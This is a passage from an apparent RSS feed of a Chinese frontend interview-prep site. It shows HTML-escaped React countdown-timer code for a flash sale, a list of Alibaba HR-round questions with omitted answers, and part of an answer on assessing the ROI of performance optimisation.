&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;span&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;countdown-ended&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;秒杀已结束&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/span&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;countdown-container&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;countdown-wrapper&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#a6e22e"&gt;timeLeft&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;days&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;time-unit&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;span&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;time-number&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;formatNumber&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;timeLeft&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;days&lt;/span&gt;)}&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/span&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;span&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;time-label&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;天&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/span&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;span&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;separator&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;:&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/span&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;time-unit&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;span&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;time-number&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;formatNumber&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;timeLeft&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;hours&lt;/span&gt;)}&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/span&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;span&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;time-label&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;时&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/span&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;span&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;separator&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;:&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/span&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;time-unit&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;span&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;time-number&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;formatNumber&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;timeLeft&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;minutes&lt;/span&gt;)}&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/span&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;span&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;time-label&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;分&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/span&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;span&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;separator&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;:&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/span&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;time-unit&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;span&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;time-number&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;formatNumber&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;timeLeft&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;seconds&lt;/span&gt;)}&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/span&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;span&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;time-label&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;秒&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/span&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 使用示例
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;App&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;FC&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; () =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 设置一个5分钟后的时间戳
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;targetTime&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Date.&lt;span style="color:#a6e22e"&gt;now&lt;/span&gt;() &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;60&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;handleCountdownEnd&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; () =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;秒杀活动结束&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;app&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;h1&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;京东秒杀倒计时&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/h1&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Countdown&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;targetTimestamp&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;targetTime&lt;/span&gt;} &lt;span style="color:#a6e22e"&gt;onEnd&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;handleCountdownEnd&lt;/span&gt;} &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;App&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h2 id="question-subjective-bcdccaf58f83"&gt;4. 当前项目还有哪些可以优化的地方&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;从性能、体验、质量三个维度分析优化空间，体现对项目全局的思考和持续改进意识。&lt;/p&gt;</description></item><item><title>阿里巴巴-社招-5年 · 第 1 轮 · HR面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-106/</link><pubDate>Mon, 28 Jul 2025 13:18:04 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-106/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-105/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 7 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-f6ccab796d11"&gt;1. 离职的原因是什么&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-a7bdf7b22dda"&gt;2. 你熟悉 VUE 吗&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-425cfbd0d4de"&gt;3. 学习一些新技术，或者是业务中碰到的一些难题，你是针对性去解决会比较多一些，还是说你有系统的学习的一些规划呢&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-84b1ddf2b948"&gt;4. 工作过程中哪些成长比较大，遇到过哪些难题，怎么解决的&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-216e80a8f518"&gt;5. 你们的加班强度怎么样&lt;/h2&gt;
&lt;h3 id="题目要点-4"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-c4fc6896bfab"&gt;6. 你如何看待团队合作&lt;/h2&gt;
&lt;h3 id="题目要点-5"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-2fffcc2da94c"&gt;7. 离职的时候你怎么处理跟前同事的关系的&lt;/h2&gt;
&lt;h3 id="题目要点-6"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;hr&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-105/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;</description></item><item><title>阿里巴巴-社招-5年 · 第 1 轮 · 三面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-105/</link><pubDate>Mon, 28 Jul 2025 13:14:50 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-105/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-104/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-106/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 7 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-fe2a1570592c"&gt;1. 请用3分钟介绍魔方组件项目，突出技术决策过程&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-aa197d633ddb"&gt;2. 项目中遇到的最大技术挑战及解决思路&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-99061663aec1"&gt;3. 性能优化项目的ROI如何评估&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;性能优化 ROI 是投入产出比的度量，结合成本和业务收益评估&lt;br&gt;&lt;/li&gt;
&lt;li&gt;需明确优化目标、估算投入、预估收益，计算合理 ROI&lt;br&gt;&lt;/li&gt;
&lt;li&gt;关注性能指标与业务指标的映射关系，结合数据分析&lt;br&gt;&lt;/li&gt;
&lt;li&gt;兼顾技术收益和用户体验提升，避免盲目优化&lt;br&gt;&lt;/li&gt;
&lt;li&gt;持续跟踪优化效果，动态调整投资策略&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一考察点"&gt;一、考察点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;理解性能优化的投入与收益关系&lt;br&gt;&lt;/li&gt;
&lt;li&gt;掌握定量和定性评估性能优化效果的方法&lt;br&gt;&lt;/li&gt;
&lt;li&gt;了解业务指标与性能指标的关联性&lt;br&gt;&lt;/li&gt;
&lt;li&gt;能结合项目实际情况合理规划和衡量优化价值&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二参考答案"&gt;二、参考答案&lt;/h2&gt;
&lt;h3 id="21-roi-的定义与核心思想"&gt;2.1 ROI 的定义与核心思想&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ROI（Return on Investment）即“投资回报率”，衡量投入资源与产出收益的比率&lt;br&gt;&lt;/li&gt;
&lt;li&gt;性能优化的 ROI 评估即衡量优化投入（时间、人力、成本）与带来的业务或技术收益是否成正比&lt;br&gt;&lt;/li&gt;
&lt;li&gt;目标是确保资源有效利用，避免盲目优化&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="22-性能优化投入的量化"&gt;2.2 性能优化投入的量化&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;开发成本&lt;/strong&gt;：开发和测试性能优化方案所需的人力、时间&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;基础设施成本&lt;/strong&gt;：可能新增的硬件资源或第三方服务开销&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;维护成本&lt;/strong&gt;：优化方案上线后的维护和升级投入&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="23-性能优化收益的量化"&gt;2.3 性能优化收益的量化&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;业务指标提升&lt;/strong&gt;：如转化率、用户留存率、页面访问量、用户满意度等&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技术指标改善&lt;/strong&gt;：首屏时间（FCP）、最大内容渲染时间（LCP）、交互响应时间、错误率降低等&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;运营成本降低&lt;/strong&gt;：服务器压力减轻、带宽节省、用户投诉减少等&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
